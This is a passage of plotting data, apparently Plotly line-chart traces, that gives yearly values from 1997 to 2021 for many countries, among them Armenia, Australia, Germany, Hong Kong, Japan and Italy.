92.71, - 74, - 62.61, - 98.5, - 64.62, - 60.29, - 87.33, - 186.32, - 199.5, - 211.38, - 290.09, - 352.01, - 269.96, - 404.36, - 473.57, - 539.95, - 611.48, - 460.19, - 536.46, - 510.72, - 708.71, - 562.93, - 763.24, - 687.84, - 977.08 - ] - }, - { - "mode": "lines", - "name": "ARMENIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.01, - 0.18, - 0.66, - 1.4, - 1.31, - 2.52, - 3.53, - 7.24, - 7.19, - 8.58, - 19.88, - 19.98, - 18.48, - 19.83, - 38.29, - 40.48, - 72.47, - 91.47, - 22.78, - 30.33, - 33.27, - 25.94, - 40.49, - 69.83, - 22.88 - ] - }, - { - "mode": "lines", - "name": "AUSTRALIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 438.25, - 387.41, - 403.28, - 405.87, - 418.02, - 504.18, - 584.29, - 720.25, - 821.23, - 925.2, - 1152.4, - 1439.32, - 1384.96, - 1713.02, - 2476.84, - 2348.65, - 2300.28, - 2782.13, - 3262.98, - 2957.79, - 4012.32, - 3520.44, - 2852.14, - 4043.88, - 5644.16 - ] - }, - { - "mode": "lines", - "name": "AUSTRIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 85.17, - 77.58, - 75.17, - 81.02, - 76.33, - 81.11, - 106.38, - 117.15, - 132.47, - 132.01, - 183.41, - 490.67, - 252.74, - 593.7, - 341.82, - 328.58, - 336.47, - 363.1, - 339.83, - 383.16, - 460.03, - 483.16, - 455.59, - 453.07, - 429.3 - ] - }, - { - "mode": "lines", - "name": "AZERBAIJAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.95, - 4.02, - 7.34, - 11.67, - 10.68, - 8.64, - 12.28, - 30.79, - 28.81, - 24.57, - 25.78, - 33.8, - 29.91, - 38.65, - 71.62, - 87.16, - 123.89, - 110.42, - 33.38, - 40.27, - 33.68, - 43.46, - 53.21, - 50.81, - 27.4 - ] - }, - { - "mode": "lines", - "name": "BAHAMAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.06, - 0.67, - 1.41, - 2.33, - 0.67, - 3.17, - 3.23, - 5.55, - 9.35, - 61.08, - 17.5, - 2.23, - 883.78, - 2173.18, - 2243.52, - 2669.86, - 228.03, - 123.5, - 11.96, - 5.93, - 8.07, - 6.06, - 60.48, - 4.56, - 6.05 - ] - }, - { - "mode": "lines", - "name": "BAHARAIN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 61.2, - 56.84, - 60.22, - 78.67, - 75.59, - 99.54, - 111.63, - 156.46, - 192.25, - 184.52, - 252.47, - 286.52, - 250.21, - 651.83, - 439.99, - 603.47, - 639.36, - 472.98, - 654.14, - 471.71, - 556.82, - 742.14, - 559.09, - 528.25, - 702.48 - ] - }, - { - "mode": "lines", - "name": "BANGLADESH PR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 786.46, - 995.64, - 636.31, - 935.04, - 1002.18, - 1176, - 1740.74, - 1631.12, - 1664.36, - 1629.57, - 2923.72, - 2497.87, - 2433.77, - 3242.9, - 3789.2, - 5144.99, - 6166.93, - 6451.47, - 6034.94, - 6820.11, - 8614.35, - 9210.06, - 8200.75, - 9691.56, - 10963.29 - ] - }, - { - "mode": "lines", - "name": "BARBADOS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.52, - 2.87, - 3.57, - 3.06, - 1.07, - 2.46, - 1.18, - 1.74, - 2.31, - 2.65, - 2.52, - 3.88, - 4.3, - 5.44, - 7.55, - 5.87, - 6.44, - 10.19, - 10.5, - 12.35, - 12.74, - 12.43, - 12.76, - 11.1, - 11.07 - ] - }, - { - "mode": "lines", - "name": "BELARUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.6, - 1.61, - 2.36, - 4.05, - 2.15, - 5.91, - 6.49, - 10.61, - 12.22, - 14.41, - 21.23, - 36.49, - 37.86, - 36.31, - 121.72, - 55.27, - 53.34, - 48.16, - 35.73, - 40.16, - 47.58, - 55.71, - 55.77, - 62.3, - 54.44 - ] - }, - { - "mode": "lines", - "name": "BELGIUM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1215.31, - 1287.88, - 1367.65, - 1470.56, - 1390.62, - 1661.84, - 1805.72, - 2509.71, - 2871.23, - 3478.18, - 4207.08, - 4480.32, - 3759.26, - 5784.38, - 7160.76, - 5507.3, - 6377.32, - 5519.47, - 5027.61, - 5656.89, - 6206.88, - 6729.93, - 5809.88, - 5235.59, - 7082.32 - ] - }, - { - "mode": "lines", - "name": "BELIZE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.06, - 0.43, - 0.52, - 0.26, - 0.66, - 2.75, - 1, - 2.67, - 1.56, - 6.13, - 2.89, - 2.48, - 14.3, - 26.1, - 23.56, - 22.46, - 24.49, - 14.51, - 15.23, - 13.48, - 16.98, - 14.27, - 9.43, - 9.82 - ] - }, - { - "mode": "lines", - "name": "BENIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.67, - 27.14, - 28.36, - 45.14, - 55.42, - 64.35, - 52.71, - 47.12, - 96.62, - 151.41, - 276.33, - 204.39, - 221.75, - 263.66, - 654.69, - 479.13, - 763.98, - 497.95, - 427.3, - 447.89, - 479.72, - 426.9, - 326.62, - 555.2, - 446.5 - ] - }, - { - "mode": "lines", - "name": "BERMUDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.64, - 0.84, - 0.69, - 0.54, - 0.41, - 0.27, - 0.54, - 0.63, - 0.33, - 0.74, - 1.25, - 0.75, - 0.83, - 0.9, - 1.02, - 1.35, - 2.59, - 2.73, - 2.59, - 4.2, - 3.12, - 3.15, - 2.48, - 4.5, - 4.17 - ] - }, - { - "mode": "lines", - "name": "BHUTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.33, - 9.56, - 7.57, - 1.08, - 7.6, - 39.05, - 89.49, - 84.58, - 99.17, - 57.66, - 86.74, - 111.15, - 118.86, - 176.03, - 229.86, - 233.22, - 355.6, - 333.94, - 468.95, - 509.28, - 546.12, - 657.33, - 738.6, - 701.02, - 657.93 - ] - }, - { - "mode": "lines", - "name": "BOLIVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.7, - 0.98, - 0.83, - 1.98, - 1.19, - 2.13, - 3.7, - 3.96, - 6.55, - 5.43, - 7.6, - 9.71, - 9.77, - 15.71, - 24.84, - 57.39, - 53.19, - 70.84, - 74.43, - 79.52, - 105.19, - 104.71, - 113.46, - 94.33, - 96.61 - ] - }, - { - "mode": "lines", - "name": "BOSNIA-HRZGOVIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.49, - 0.38, - 0.28, - 0.18, - 1.33, - 2.33, - 3.32, - 2.74, - 1.33, - 3.66, - 5.05, - 5.43, - 2.71, - 3.2, - 5.79, - 6.91, - 11.57, - 17.88, - 19.7, - 13.1, - 15.37, - 17.08, - 15.32, - 15.09, - 12.29 - ] - }, - { - "mode": "lines", - "name": "BOTSWANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.92, - 2.19, - 2.11, - 5.56, - 4.57, - 4.09, - 6.7, - 7.91, - 10.78, - 10.85, - 16.98, - 25.54, - 22.2, - 33.59, - 50.44, - 51.48, - 54.44, - 44.46, - 52.38, - 77.12, - 108.58, - 178.31, - 178.74, - 172.69, - 200.38 - ] - }, - { - "mode": "lines", - "name": "ECUADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.36, - 4.6, - 2.26, - 9.43, - 11.04, - 11.95, - 14.13, - 22.71, - 26.2, - 52.15, - 55.27, - 125.23, - 89.75, - 121.46, - 231.55, - 263.55, - 290.4, - 225.04, - 153.2, - 197.73, - 279.8, - 297.96, - 253, - 207.89, - 226.13 - ] - }, - { - "mode": "lines", - "name": "CROATIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.94, - 5.54, - 5.29, - 4.17, - 5.34, - 10.02, - 16.68, - 22.85, - 29.01, - 54.75, - 72.52, - 85.48, - 89.68, - 97.69, - 114.64, - 133.96, - 139.14, - 176.39, - 112.44, - 124.13, - 168.68, - 153.79, - 146.97, - 141.91, - 266.81 - ] - }, - { - "mode": "lines", - "name": "ZIMBABWE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 23.93, - 23.59, - 18.47, - 15.06, - 12.5, - 15.83, - 23.51, - 23.45, - 23.99, - 31.78, - 31.97, - 58.99, - 48.7, - 113.15, - 129.32, - 153.19, - 158.06, - 223.96, - 205.09, - 109.08, - 163.54, - 181.72, - 161.13, - 175.72, - 148.89 - ] - }, - { - "mode": "lines", - "name": "FRANCE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 759.15, - 829.7, - 897.34, - 1020.01, - 945, - 1074.09, - 1280.88, - 1680.94, - 2079.59, - 2103.26, - 2599.64, - 3020.86, - 3819.83, - 5209.57, - 4558.11, - 4986.03, - 5108.29, - 4956.66, - 4633.4, - 5250.05, - 4900.27, - 5232.57, - 5097.81, - 4782.18, - 4413.38 - ] - }, - { - "mode": "lines", - "name": "HAITI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.03, - 2.7, - 3.13, - 5.76, - 6.89, - 10.89, - 8.56, - 10.18, - 16.33, - 21.73, - 26.75, - 44.37, - 33.06, - 60.53, - 48.3, - 63.69, - 59.21, - 85.45, - 62.27, - 71.44, - 94.01, - 79.35, - 65.51, - 107.63, - 69.13 - ] - }, - { - "mode": "lines", - "name": "FR POLYNESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0.01, - 0.05, - 0.04, - 0.17, - 0.14, - 0.25, - 0.53, - 0.76, - 2.06, - 2.05, - 1.3, - 0.81, - 1.08, - 11.95, - 1.78, - 2.8, - 3.07, - 3.81, - 4.13, - 6.36, - 5.5, - 6.04, - 5.67, - 6.96 - ] - }, - { - "mode": "lines", - "name": "GUYANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.19, - 2.27, - 2.4, - 5.09, - 2.11, - 3.52, - 4.77, - 6.86, - 11.15, - 13.22, - 13.63, - 12.18, - 16.3, - 16.04, - 21.53, - 21.94, - 24.19, - 24.41, - 21.87, - 20.07, - 26.03, - 29.66, - 25.21, - 35.69, - 49.6 - ] - }, - { - "mode": "lines", - "name": "GUINEA BISSAU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.09, - 4.51, - 8.98, - 14.44, - 7.32, - 5.19, - 2.14, - 0.93, - 0.74, - 0.69, - 4.34, - 33.91, - 3.19, - 3.07, - 12.42, - 10.88, - 19.02, - 9.76, - 14.47, - 21.66, - 10.68, - 10.76, - 8.99, - 18.11, - 7.67 - ] - }, - { - "mode": "lines", - "name": "GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.38, - 6.5, - 9.5, - 13.36, - 24.65, - 34.36, - 35.12, - 51.31, - 52.26, - 79.76, - 130.3, - 78.52, - 79.35, - 96.4, - 131.94, - 206.07, - 203.42, - 283.81, - 278.4, - 354.95, - 377.94, - 404.84, - 354.82, - 501.77, - 437.34 - ] - }, - { - "mode": "lines", - "name": "GUATEMALA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.73, - 4.56, - 14.43, - 18.69, - 13.12, - 18.12, - 26.36, - 37.84, - 45.94, - 73.77, - 74.86, - 81.41, - 87.15, - 112.68, - 191.29, - 224.61, - 212.36, - 229.01, - 255.97, - 241.23, - 291.93, - 305.37, - 291.32, - 331.35, - 414.06 - ] - }, - { - "mode": "lines", - "name": "GUAM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0.1, - 0.15, - 0.3, - 0.62, - 0.35, - 0.98, - 0.38, - 0.35, - 2.71, - 0.58, - 0.54, - 0.58, - 1.84, - 1.93, - 1.01, - 0.28, - 0.41, - 0.38, - 0.49, - 0.88, - 0.66, - 0.91, - 0.74, - 1.38 - ] - }, - { - "mode": "lines", - "name": "GUADELOUPE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.63, - 0.47, - 1, - 1.2, - 0.78, - 1.43, - 1.31, - 1.36, - 1.12, - 1.71, - 1.55, - 1.52, - 3.58, - 6.21, - 7.09, - 6.58, - 6.53, - 4.17, - 2.87, - 4.39, - 5.35, - 3.42, - 7.8, - 2.66, - 2.25 - ] - }, - { - "mode": "lines", - "name": "GHANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 49.05, - 62.81, - 61.95, - 58.88, - 68.41, - 105.64, - 182.67, - 183.08, - 200.82, - 465.18, - 795.12, - 537.85, - 390.52, - 579.77, - 800.35, - 744.12, - 831.48, - 680.39, - 623.73, - 681.03, - 635.78, - 717.33, - 617.42, - 862.5, - 835.11 - ] - }, - { - "mode": "lines", - "name": "GRENADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.07, - 0.09, - 0.53, - 0.45, - 0.45, - 0.59, - 0.23, - 0.87, - 0.78, - 1.24, - 0.45, - 0.64, - 1.01, - 1.03, - 0.85, - 1.46, - 1.34, - 1.87, - 3.02, - 2.64, - 3.77, - 2.79, - 2.87, - 2.89 - ] - }, - { - "mode": "lines", - "name": "GABON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.36, - 4.73, - 4.34, - 4.96, - 5.53, - 17.67, - 10.55, - 10.36, - 16.58, - 16.7, - 25.9, - 21.65, - 25.02, - 37.55, - 47, - 54.17, - 52.59, - 42.7, - 36.79, - 43.34, - 45.08, - 55.17, - 45.55, - 58.7, - 39.5 - ] - }, - { - "mode": "lines", - "name": "GAMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 15.31, - 15.39, - 15.96, - 15.4, - 13.55, - 14.06, - 13.66, - 14.89, - 16.8, - 27.7, - 30.24, - 30.45, - 36.99, - 41.7, - 64.21, - 55.56, - 85.13, - 73.53, - 59.54, - 62.38, - 120.23, - 156.61, - 132.33, - 129.59, - 109.95 - ] - }, - { - "mode": "lines", - "name": "GEORGIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.97, - 0.55, - 1.42, - 3.1, - 8.34, - 18.83, - 34.02, - 26.8, - 34.18, - 41.03, - 93.03, - 72.44, - 55.86, - 72.86, - 121.74, - 124.16, - 91.29, - 86.67, - 82.57, - 90.93, - 77.27, - 110.4, - 82.77, - 99.32, - 121.98 - ] - }, - { - "mode": "lines", - "name": "GREECE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 93.17, - 135.99, - 89.91, - 113.49, - 106.53, - 148.7, - 200.04, - 306.34, - 564.09, - 670.71, - 530.38, - 878.43, - 452.8, - 364.88, - 790.06, - 300.13, - 335.14, - 360.84, - 335.68, - 381.07, - 433.87, - 503.37, - 445.59, - 546.31, - 751.15 - ] - }, - { - "mode": "lines", - "name": "GIBRALTAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.14, - 0.14, - 0.61, - 0.54, - 0.3, - 1.4, - 0.75, - 0.65, - 0.34, - 17.89, - 1.27, - 9.44, - 647.94, - 149.08, - 292.79, - 0.27, - 97.61, - 637.83, - 1182.88, - 1286.88, - 290.68, - 575.13, - 629.14, - 203.38, - 255.88 - ] - }, - { - "mode": "lines", - "name": "GERMANY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1921.1, - 1851.94, - 1738.39, - 1907.57, - 1788.36, - 2106.68, - 2544.55, - 2826.25, - 3586.12, - 3984.81, - 5121.53, - 6388.54, - 5412.89, - 6751.18, - 7942.79, - 7246.2, - 7515.81, - 7537.34, - 7092.87, - 7181.61, - 8687.8, - 8902.43, - 8290.9, - 8124.93, - 7021.6 - ] - }, - { - "mode": "lines", - "name": "FR GUIANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 0.88, - 2.28, - 2.46, - 3.76, - 4.92, - 5.84, - 0.08, - 0.05, - 0.08, - 2.21, - 36.32, - 2.28, - 3.6, - 1.62, - 3.3, - 36.68, - 59.04, - 1.17, - 1.47, - 2.18, - 1.9, - 0.98, - 1.78, - 1.52 - ] - }, - { - "mode": "lines", - "name": "HONDURAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.62, - 3.85, - 12.72, - 15.29, - 11.62, - 21.65, - 11.99, - 21.31, - 34.6, - 113.21, - 95.31, - 69.97, - 45.53, - 63.07, - 91.66, - 109.99, - 107.9, - 187.56, - 155.05, - 134.97, - 146.17, - 166.72, - 185.34, - 163.38, - 237.55 - ] - }, - { - "mode": "lines", - "name": "FINLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 58.15, - 76.62, - 57.93, - 58.31, - 69.75, - 71.14, - 111.27, - 143.54, - 204.69, - 194.36, - 239.74, - 264.89, - 208.36, - 254.92, - 314.34, - 317.27, - 415.42, - 330.18, - 248.48, - 269.74, - 282.55, - 256.12, - 268.63, - 284.36, - 255.75 - ] - }, - { - "mode": "lines", - "name": "HONG KONG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1928.76, - 1880.57, - 2510.88, - 2640.86, - 2366.36, - 2613.33, - 3261.8, - 3691.82, - 4471.32, - 4685.16, - 6312.96, - 6655, - 7887.81, - 10320.26, - 12931.9, - 12279.2, - 12731.74, - 13599.88, - 12092.28, - 14047.24, - 14690.27, - 13001.99, - 10967.12, - 10162.4, - 8429.2 - ] - }, - { - "mode": "lines", - "name": "JAPAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1892.07, - 1652, - 1685.37, - 1794.48, - 1510.44, - 1864.03, - 1709.29, - 2127.91, - 2481.26, - 2868.12, - 3858.48, - 3025.7, - 3629.54, - 5091.24, - 6328.54, - 6100.06, - 6814.07, - 5385.57, - 4662.85, - 3845.73, - 4734.22, - 4861.73, - 4520.25, - 4434.59, - 4654.12 - ] - }, - { - "mode": "lines", - "name": "JAMAICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.35, - 1.78, - 3.91, - 9.15, - 5.08, - 10.57, - 9.06, - 13.43, - 25.86, - 20.19, - 24.45, - 22.49, - 20.85, - 22.34, - 26.66, - 29.7, - 36.22, - 37.8, - 40.21, - 43.01, - 52.24, - 55.42, - 56.76, - 64.06, - 57.83 - ] - }, - { - "mode": "lines", - "name": "EQUTL GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.05, - 0.06, - 0.02, - 0.27, - 0.44, - 0.11, - 0.84, - 3.84, - 6.44, - 4.77, - 11.07, - 6.42, - 7.66, - 11.42, - 17.15, - 21.31, - 17.24, - 15.01, - 17.53, - 11.24, - 10.77, - 11.89, - 10.92, - 14.19, - 9.92 - ] - }, - { - "mode": "lines", - "name": "ITALY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1113.84, - 1054.99, - 1119.75, - 1308.75, - 1206.53, - 1357.08, - 1729.4, - 2285.99, - 2519.04, - 3584.65, - 3914.02, - 3824.58, - 3400.25, - 4551.58, - 4883.09, - 4372.51, - 5272.75, - 5092.31, - 4217.73, - 4902.18, - 5709.85, - 5593.42, - 4970.81, - 4735.74, - 6002.78 - ] - }, - { - "mode": "lines", - "name": "ISRAEL", - "type": "scatter", - 